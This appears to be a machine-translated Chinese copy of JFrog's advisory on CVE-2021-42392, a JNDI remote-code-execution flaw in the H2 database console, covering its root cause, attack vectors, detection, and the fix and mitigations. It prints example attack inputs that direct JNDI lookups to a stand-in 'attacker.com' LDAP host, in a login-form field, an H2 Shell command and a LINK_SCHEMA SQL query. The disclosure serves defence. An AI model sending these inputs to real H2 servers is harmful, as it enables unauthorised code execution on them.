JNDI反击-未验证的RCE在H2数据库控制台

JNDI漏洞- H2数据库控制台未验证的RCE

更新07/01/22 -在致谢部分中为研究人员@pyn3rd添加了类似的独立之前的发现

一个简短的序言

最近,JFrog安全研究团队披露了H2数据库控制台的一个问题,该问题被发布了一个关键的CVE -cve - 2021 - 42392.这个问题与臭名昭著的问题有着相同的根源Log4ShellApache Log4j中的漏洞(JNDI远程类加载)。

H2是一个非常流行的开源Java SQL数据库,它提供了一种轻量级内存解决方案,不需要将数据存储在磁盘上。这使得它成为一个流行的数据存储解决方案的各种项目从web平台,如春天的引导到物联网平台ThingWorks.的com.h2database: h2包是前50个最受欢迎的Maven包之一,几乎7000工件依赖项

由于目前任何与(Java) jndi相关的东西都很敏感,在进入H2漏洞发现的技术细节之前,我们希望澄清一些必须存在的条件和配置,以便处于风险之中。

虽然这是一个根源相似的关键问题,CVE-2021-42392不应该像Log4Shell那样广泛使用由于以下因素:

  1. 与Log4Shell不同,此漏洞具有“直接”影响范围。这意味着通常处理初始请求的服务器(H2控制台)将是受RCE影响的服务器。与Log4Shell相比,这没有那么严重,因为易受攻击的服务器应该更容易找到。
  2. 在H2数据库的普通发行版上,默认情况下,H2控制台只侦听本地主机连接—使得默认设置是安全的。这与Log4Shell不同,Log4Shell可以在Log4j的默认配置中被利用。然而,值得注意的是,H2控制台也可以很容易地更改为监听远程连接。
  3. 许多供应商可能正在运行H2数据库,但没有运行H2控制台。尽管除了控制台之外,还有其他载体可以利用这个问题,但这些其他载体是依赖于上下文的,不太可能暴露给远程攻击者。

也就是说,如果你正在运行一个暴露在LAN(或更糟的WAN)上的H2控制台,这个问题是极其关键的(未经身份验证的远程代码执行)应该立即更新你的H2数据库到2.0.206版本吗

我们还观察到,许多开发工具都依赖于H2数据库,并特别公开了H2控制台(后面的博客文章中包含了一些示例)。最近供应链攻击的趋势是针对开发人员,例如流行存储库中的恶意包,强调了开发人员工具对于所有合理用例的安全性的重要性。我们希望在应用此修复后,许多依赖于h2的开发人员工具也会更加安全。

为什么我们要扫描JNDI缺陷?

我们从Log4Shell漏洞事件中得到的一个关键结论是,由于JNDI的广泛使用,必然会有更多的包受到与Log4Shell相同的根本原因的影响——接受任意的JNDI查找url。因此,我们已经调整了我们的自动漏洞检测框架,以考虑javax.naming.Context.lookup函数作为一个危险函数(sink),并将框架释放到Maven存储库希望能找到类似Log4Shell的问题。

我们得到的第一个有效的攻击是在H2数据库包上。在确认问题后,我们向H2维护者报告了该问题,后者在新版本中迅速修复了该问题,并创建了一个关键GitHub咨询.随后,我们也发布了关键的CVE -cve - 2021 - 42392

在这篇博文中,我们将介绍几个在H2数据库中发现的攻击向量,它们允许触发远程JNDI查找,其中一个向量允许未经身份验证的远程代码执行。

漏洞根源- JNDI远程类加载

简而言之,根本原因与Log4Shell类似——H2数据库框架中的几个代码路径将未经过滤的攻击者控制的url传递给javax.naming.Context.lookup函数,它允许远程代码库加载(又名Java代码注入又名远程代码执行)。

具体来说,org.h2.util.JdbcUtils.getConnection方法以驱动程序类名和数据库URL作为参数。如果驱动程序的类可分配给javax.naming.Context类,该方法从它实例化一个对象并调用它的查找方法:

else if (javax.naming.Context.class.isAssignableFrom(d)) {// JNDI context context context context = (context) d. getdeclaredconstructor ().newInstance();DataSource ds = (DataSource) context.lookup(url);if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)){返回ds.getConnection();}返回ds。getConnection(用户、密码);}

提供一个驱动程序类,例如javax.naming.InitialContext和一个URL,例如ldap: / / attacker.com/Exploit将导致远程代码执行。

我们无法想象地球上还有人不熟悉这种攻击流程,但可视化可能仍然有帮助

攻击流程

CVE-2021-42392攻击向量

H2控制台-非上下文依赖的,未经身份验证的RCE

这个问题最严重的攻击向量是通过H2控制台。

H2数据库包含一个嵌入式的基于web的控制台,方便管理数据库。默认情况下是可用的http://localhost:8082当运行H2包JAR -时

Java -jar bin/h2.jar

或者,在Windows上,通过开始菜单-

Windows开始菜单- H2控制台应用程序

此外,当H2被用作嵌入式库时,控制台可以从Java -启动

h2Server =服务器。createWebServer("-web", "-webAllowOthers", "-webPort", "8082");h2Server.start ();

对控制台的访问由登录表单保护,该表单允许将“driver”和“url”字段传递给对应的字段JdbcUtils.getConnection.这将导致未经身份验证的RCE,因为在对潜在的恶意URL执行查找之前,用户名和密码没有得到验证。

通用H2 -登录表单

缺省情况下,只能从本地主机访问H2控制台。这个选项可以通过控制台的UI更改:

H2控制台首选项界面

或者通过命令行参数:-webAllowOthers

不幸的是,我们观察到一些依赖于H2数据库的第三方工具将运行向远程客户端公开的H2控制台默认情况下.例如,JHipster框架还会公开H2控制台,并默认设置webAllowOthers财产真正的

# H2服务器属性0=JHipster H2(内存)|org.h2。驱动|jdbc\:h2\:mem\:jhbomtest|jhbomtest webAllowOthers=true webPort=8092 webSSL=false

正如它从文档,当使用JHipster框架运行应用程序时,默认情况下H2控制台在JHipster的web界面上可用/ h2-console端点:

JHipster网页界面

由于H2数据库被如此多的工件使用,因此很难量化在野外存在多少易受攻击的H2控制台部署。我们认为这是最严重的攻击向量,也是因为可以通过使用公共搜索工具定位面向wan的易受攻击的控制台。

H2 Shell工具-上下文依赖的RCE

在内置的H2壳,具有命令行参数控制的攻击者可以调用相同的漏洞司机而且url如前所述:

Java -cp h2*.jar org.h2.tools。Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

我们认为这种攻击向量不太可能,因为需要存在自定义代码,将远程输入输送到这些命令行参数。如果存在这样的自定义代码,攻击者就更有可能控制一个部分的命令行,还包含参数注入攻击。看到我们的Yamale博客了解攻击的更多细节。

基于sql的向量-经过身份验证(高特权)的RCE

脆弱的JdbcUtils.getConnection也可以被多个SQL存储过程调用,在H2数据库中默认可用。我们已经确定了几个程序,但它们都具有相同的特性,这使得这种攻击载体不那么严重-只有经过身份验证的(DB)管理员才能调用它们

例如,LINK_SCHEMA存储过程直接将驱动程序和URL参数传递给易受攻击的函数,如下面的查询-所示

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming. 'InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于存储过程仅限于DB管理员,我们认为最有可能的攻击向量是将一个单独的SQL注入缺陷升级到RCE。

我如何检查我是否容易受到CVE-2021-42392的攻击?

网络管理员可以扫描他们的本地子网,找到H2控制台的打开实例nmap,例如:

nmap -sV——script http-title——script-args "http-title。url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(在普通安装中的默认控制台端点是“/”,这可能在通过第三方工具部署的H2控制台中有所不同)

任何返回的服务器都极有可能被利用。

如上所述,还有其他攻击载体,但通过它们进行远程利用的可能性要小得多。在任何情况下,我们建议升级H2数据库(参见“建议修复”)。

JFrog是如何检测到CVE-2021-42392的?

在定义Java的内置功能时,可以通过数据流分析(DFA)检测到该问题HttpServlet.doGet / doPost方法作为用户输入源(特别是第一个req参数),以及前面提到的javax.naming.Context.lookup方法(执行JNDI查找)作为危险的函数/接收器。

本例中的数据流相当简单,尽管需要跟踪一些类字段。标记的变量红色的表示跟踪数据-

CVE-2021-42392 -跟踪数据

CVE-2021-42392的建议修复是什么?

我们建议H2数据库的所有用户升级到版本2.0.206,即使您不直接使用H2控制台。这是由于存在其他攻击载体,其可利用性可能难以确定。

版本2.0.206通过限制JNDI url使用(本地)修复CVE-2021-42392java协议,它拒绝任何远程LDAP/RMI查询。这类似于应用于Log4j 2.17.0

如何缓解CVE-2021-42392 ?

修复该漏洞的最佳方法是升级H2数据库。

对于目前无法升级H2的供应商,我们提供以下缓解选项:

  1. 与Log4Shell漏洞类似,较新版本的Java包含trustURLCodebase不允许通过JNDI加载远程代码库的缓解措施。供应商可能希望升级他们的Java (JRE/JDK)版本以启用这种缓解。
    在以下Java版本(或任何更高版本)上默认启用此缓解-

    • 6 u211
    • 7 u201
    • 8 u191
    • 11.0.1

    然而,这种缓解并不是无懈无击的,因为只要在类路径中包含相应的“gadget”类(取决于运行H2数据库的服务器),就可以通过通过LDAP发送序列化的“gadget”Java对象来绕过它。如需更多资料,请参阅“使用带有本地小工具类的序列化Java对象摘自我们的Log4Shell博客文章。

  2. 当H2控制台Servlet部署在web服务器上时(不使用独立的H2 web服务器),可以添加一个安全约束,只允许特定用户访问控制台页面。在这里可以找到一个合适的配置示例

确认

我们要感谢H2数据库维护者以极快的速度验证和修复这些问题,并负责地为此问题创建安全咨询。

我们想要赞扬研究人员@pyn3rd,在本文发表之前,他展示了类似于这里提到的攻击载体之一的发现。特别是在非默认配置下,Spring Boot容易受到H2控制台JNDI问题的影响。
JFrog的研究工作完全独立于这一发现,我们的研究团队和H2维护者都没有发现这个问题,可能是因为没有发布官方的建议,而且该出版物不是英文的(这影响了搜索结果)。
由于我们的研究突出了问题的根本原因,并正确地向H2维护者披露(他们不知道任何以前的发现)-上述H2数据库的固定版本2.0.206是基于我们的披露和提供的补丁创建的。
我们认为升级到固定版本的H2现在更加重要,因为一些攻击者可能已经看到了之前的发现,推断出了一般问题,并且已经使用类似的攻击向量一段时间了。
一如既往,我们鼓励安全研究人员在联系维护者并确保固定版本广泛可用后才发布他们的发现。

结论

最后,我们强烈建议将您的H2数据库升级到最新版本,以避免CVE-2021-42392可能被利用。

JFrog安全研究团队正在持续扫描类似的JNDI漏洞,既是出于负责任的披露目的,也是为了提高我们未来的零日检测能力JFrog x光客户。

据我们所知,CVE-2021-42392是自Log4Shell以来发布的第一个与jndi相关的未经身份验证的RCE漏洞,但我们怀疑这不会是最后一个。

请继续关注我们的博客,了解更多信息和技术分析,这将帮助您保护软件供应链免受未来的攻击。

与此同时,探索如何发现和缓解这些问题Log4j漏洞在您的软件供应链中使用JFrog平台。